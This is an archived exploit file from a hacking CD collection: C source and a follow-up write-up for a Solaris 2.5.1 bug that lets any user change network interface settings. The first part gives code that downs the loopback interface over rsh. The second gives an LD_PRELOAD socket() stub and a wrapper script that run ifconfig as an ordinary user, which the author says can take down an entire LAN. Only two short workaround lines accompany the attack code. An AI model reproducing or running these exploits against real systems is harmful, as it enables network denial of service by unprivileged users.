home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hoobie / solaris_ifreq.c < prev    next >
Encoding:
C/C++ Source or Header  |  2001-11-06  |  2.3 KB  |  89 lines

  1. /*
  2. * cc solaris_ifreq.c -o solaris_ifreq -lsocket
  3. * rsh localhost ./solaris_ifreq
  4. *
  5. *
  6. * solaris_ifreq.c
  7. *
  8. */
  9.  
  10. #include <stdio.h>
  11. #include <sys/types.h>
  12. #include <sys/socket.h>
  13. #include <sys/sockio.h>
  14. #include <net/if.h>
  15. #include <netinet/in.h>
  16.  
  17.  
  18. int main(int argc, char *argv[])
  19. {
  20.         struct ifreq please_break_me;
  21.  
  22.         strcpy( please_break_me.ifr_name, "lo0");
  23.         please_break_me.ifr_flags=0;
  24.  
  25.         if(ioctl(0, SIOCSIFFLAGS, &please_break_me)==-1)
  26.                 perror("Damn it didnt work. Obviously not Solaris ;)");
  27. }
  28.  
  29.  
  30. /*
  31. * You can adjust this to do other things. Basically any user can do network control
  32. * requests on a root created socket descriptor.
  33. *
  34. *
  35. * Workarounds:
  36. * 1.  Disable rsh and any non root owned inetd tasks -  breaks remote tar etc
  37. * 2.  Run an OS that the vendor doesnt take a year to fix bugs in
  38. *
  39. */
  40.  
  41.  
  42.  
  43. -----------------------------------------------------------------------------
  44.  
  45.  
  46.  
  47. Bored of downing interfaces, ever wondered what else you could do with the
  48. year old Solaris hole. Well since I've seen no great sign of life from Sun
  49. lets do a little bit of demonstrating
  50.  
  51. Firstly you want this little bit of code  for Solaris 2.5.1
  52.  
  53. cc haccident.c -c
  54.  
  55. int socket(int fa, int type, int proto)
  56. {
  57.         return 0;
  58. }
  59.  
  60. mv haccident ~myusername
  61.  
  62. cat >~myusername/myfconfig
  63. #!/bin/sh
  64. export LD_PRELOAD=$HOME/haccident.o
  65. ifconfig $*
  66.  
  67. chmod 755 myfconfig
  68.  
  69. Now you can do "rsh localhost ./myfconfig whatever" to do ifconfig commands
  70. as an ordinary user. Ok so its simple boring single host denial of service.
  71. Well actually its not...
  72.  
  73. Its amazing the fun that occurs if you add every host on your class C
  74. network to the lan for example. Over the next 10 to 15 minutes your entire
  75. lan collapses into a heap. All you need is one user account on one solaris
  76. 2.5.x box and the entire network is a sitting duck. The user doesn't even
  77. need to break to root, just any old shell account and blam....
  78.  
  79. So where's the fix Sun ?
  80.  
  81. [Not vulnerable: Linux/Sparc, NetBSD/Sparc, OpenBSD/Sparc, SunOS,
  82.  Solaris 2.5(apparently), Solaris 2.6]
  83.  
  84. Many thanks to Sun for failing to fix a bug for a year and giving me a
  85. great chance to give these programs to everyone considering buying Solaris
  86. boxes I can find, and also to Jeff Uphoff and Dave Miller for various bits
  87. of testing of exploits.
  88.  
  89.